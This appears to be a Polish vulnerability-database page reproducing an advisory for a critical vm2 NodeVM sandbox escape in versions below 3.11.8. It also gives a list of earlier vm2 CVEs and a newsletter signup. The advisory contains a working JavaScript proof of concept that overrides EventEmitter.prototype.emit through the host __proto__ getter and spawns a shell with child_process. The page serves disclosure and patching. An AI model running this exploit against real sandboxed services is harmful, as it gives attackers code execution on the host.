Krytyczna

vm2: Sandbox Escape (NodeVM)

  • Ujawniono: 05.10.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

It being possible to obtain the host __proto__ getter/setter, has been used in many reports:

Yet it was never patched...


This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console._stdout/console._stderr (NodeVM with console: 'inherit', which is the default)

Details

The prototype chain for console._stdout/console._stderr is:

_stdout / _stderr
-> WriteStream (TTY only)
-> Socket
-> Duplex
-> Readable
-> Stream
-> EventEmitter

process is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype

By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.

This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.

PoC

js
const { NodeVM } = require("vm2");

code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');

// vm __proto__ getter
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}

// host __proto__ getter
console.log(gP.call(console._stderr)); // Socket { [...] }

let p = console._stdout;
while (p.pipe) {
	console.log(p.constructor.name);
	p = gP.call(p);
};

p.emit = function(){
	console.log(this+[]);
	this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;

const vm = new NodeVM();
vm.run(code);

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm vm2 < 3.11.8 3.11.8

Odnośniki

Ocena CVSS 10/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Słabość (CWE)
CWE-913
Platforma
npm
Paczka
vm2
Ujawniono
05.10.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-88hf-g992-jg85 - CC BY 4.0

Historia podatności: vm2

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (78) w archiwum
Wszystkich wpisów
78
Pierwsza → ostatnia
10.2021 10.2026
Bez poprawki
1
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 51
  • Wysoka 14
  • Średnia 12
  • Niska 1

Ujawnienia w latach

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Istotność:
  1. Krytyczna · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Krytyczna · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. vm2: Sandbox Escape (NodeVM) ten wpis
    Krytyczna · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. Krytyczna · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  5. Krytyczna · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  6. Krytyczna · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  7. Krytyczna · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  8. Krytyczna · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  9. Krytyczna · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  10. Krytyczna · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  11. Krytyczna · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  12. Krytyczna · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  13. Wysoka · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  14. Krytyczna · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  15. Krytyczna · 9.9 CVE-2026-47686 < 3.11.6 3.11.6
  16. Krytyczna · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  17. Krytyczna · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  18. Krytyczna · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  19. Krytyczna · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  20. Krytyczna · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  21. Krytyczna · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
  22. Wysoka · 8.5 CVE-2026-43998 >= 3.10.5, < 3.11.0 3.11.0
  23. Krytyczna · 10.0 CVE-2026-44005 >= 3.9.6, < 3.11.0 3.11.0
  24. Krytyczna · 10.0 CVE-2026-43997 < 3.11.0 3.11.0
  25. Krytyczna · 10.0 CVE-2026-44006 < 3.11.0 3.11.0
  26. Krytyczna · 9.8 CVE-2026-26956 < 3.10.5 3.10.5
  27. Krytyczna · 9.8 CVE-2026-26332 < 3.11.0 3.11.0
  28. Krytyczna · 9.8 CVE-2026-24781 < 3.11.0 3.11.0
  29. Krytyczna · 9.8 CVE-2026-24120 < 3.10.5 3.10.5
  30. Krytyczna · 9.8 CVE-2026-24118 < 3.11.0 3.11.0
  31. Krytyczna · 9.8 CVE-2026-22709 < 3.10.2 3.10.2
  32. Krytyczna · 9.8 CVE-2023-37466 < 3.10.0 3.10.0
  33. Krytyczna · 9.8 CVE-2023-37903 <= 3.9.19 brak poprawki
  34. Krytyczna · 9.8 CVE-2023-32314 < 3.9.18 3.9.18
  35. Krytyczna · 9.8 CVE-2023-30547 < 3.9.17 3.9.17
  36. Krytyczna · 9.8 CVE-2023-29199 < 3.9.16 3.9.16
  37. Krytyczna · 9.8 CVE-2023-29017 < 3.9.15 3.9.15
Pokaż więcej (5) Widać 60 z 65

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.